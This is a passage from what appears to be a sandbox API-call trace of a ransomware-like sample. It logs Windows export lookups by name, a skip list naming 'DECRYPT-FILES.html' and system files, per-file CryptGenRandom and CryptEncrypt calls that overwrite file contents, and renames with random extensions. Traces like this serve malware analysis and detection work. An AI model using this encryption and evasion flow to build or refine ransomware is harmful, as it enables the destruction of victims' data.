returned 19 [0131.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0131.910] lstrlenA (lpString="CREATETHREAD") returned 12 [0131.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0131.910] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0131.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0131.910] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0131.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0131.910] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0131.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0131.910] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0131.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0131.910] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0131.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0131.910] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0131.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0131.910] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0131.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0131.911] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\eula.rtf.46U9p7") returned 42 [0131.911] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.46U9p7" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.46u9p7"), dwFlags=0x0) returned 1 [0131.911] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.912] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.912] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.912] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0131.912] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0131.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\") returned 27 [0131.913] lstrlenW (lpString="LocalizedData.xml") returned 17 [0131.913] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1046\\" | out: lpString1="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0131.913] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" [0131.913] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0131.913] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0131.913] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=80738) returned 1 [0131.913] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0131.913] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0132.127] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0132.127] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0132.127] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0132.128] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0132.128] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0132.203] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.204] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0132.205] CloseHandle (hObject=0x5f8) returned 1 [0132.205] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.205] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0132.205] CloseHandle (hObject=0x0) returned 0 [0132.205] CloseHandle (hObject=0x5f4) returned 1 [0132.210] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.210] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.210] GetTickCount () returned 0x3669b [0132.210] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0132.210] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0132.210] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0132.211] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0132.211] lstrlenA (lpString="kernel32.dll") returned 12 [0132.211] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0132.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0132.212] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0132.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0132.212] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0132.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0132.213] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0132.213] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0132.213] lstrlenA (lpString="ADDATOMA") returned 8 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0132.213] lstrlenA (lpString="ADDATOMW") returned 8 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0132.213] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0132.213] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0132.213] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0132.213] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0132.213] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0132.213] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0132.213] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0132.213] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0132.213] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0132.213] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0132.213] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0132.213] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0132.213] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0132.213] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0132.213] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0132.213] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0132.213] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0132.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0132.214] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0132.214] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0132.214] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0132.214] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0132.214] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0132.214] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0132.214] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0132.214] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0132.214] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0132.214] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0132.214] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0132.214] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0132.214] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0132.214] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0132.214] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0132.214] lstrlenA (lpString="BACKUPREAD") returned 10 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0132.214] lstrlenA (lpString="BACKUPSEEK") returned 10 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0132.214] lstrlenA (lpString="BACKUPWRITE") returned 11 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0132.214] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0132.214] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0132.214] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0132.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0132.215] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0132.215] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0132.215] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0132.215] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0132.215] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0132.215] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0132.215] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0132.215] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0132.215] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0132.215] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0132.215] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0132.215] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0132.215] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0132.215] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0132.215] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0132.215] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0132.215] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0132.215] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0132.215] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0132.215] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0132.215] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0132.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0132.216] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0132.216] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0132.216] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0132.216] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0132.216] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0132.216] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0132.216] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0132.216] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0132.216] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0132.216] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0132.216] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0132.216] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0132.216] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0132.216] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0132.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0132.216] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0132.216] lstrcpyA (in: 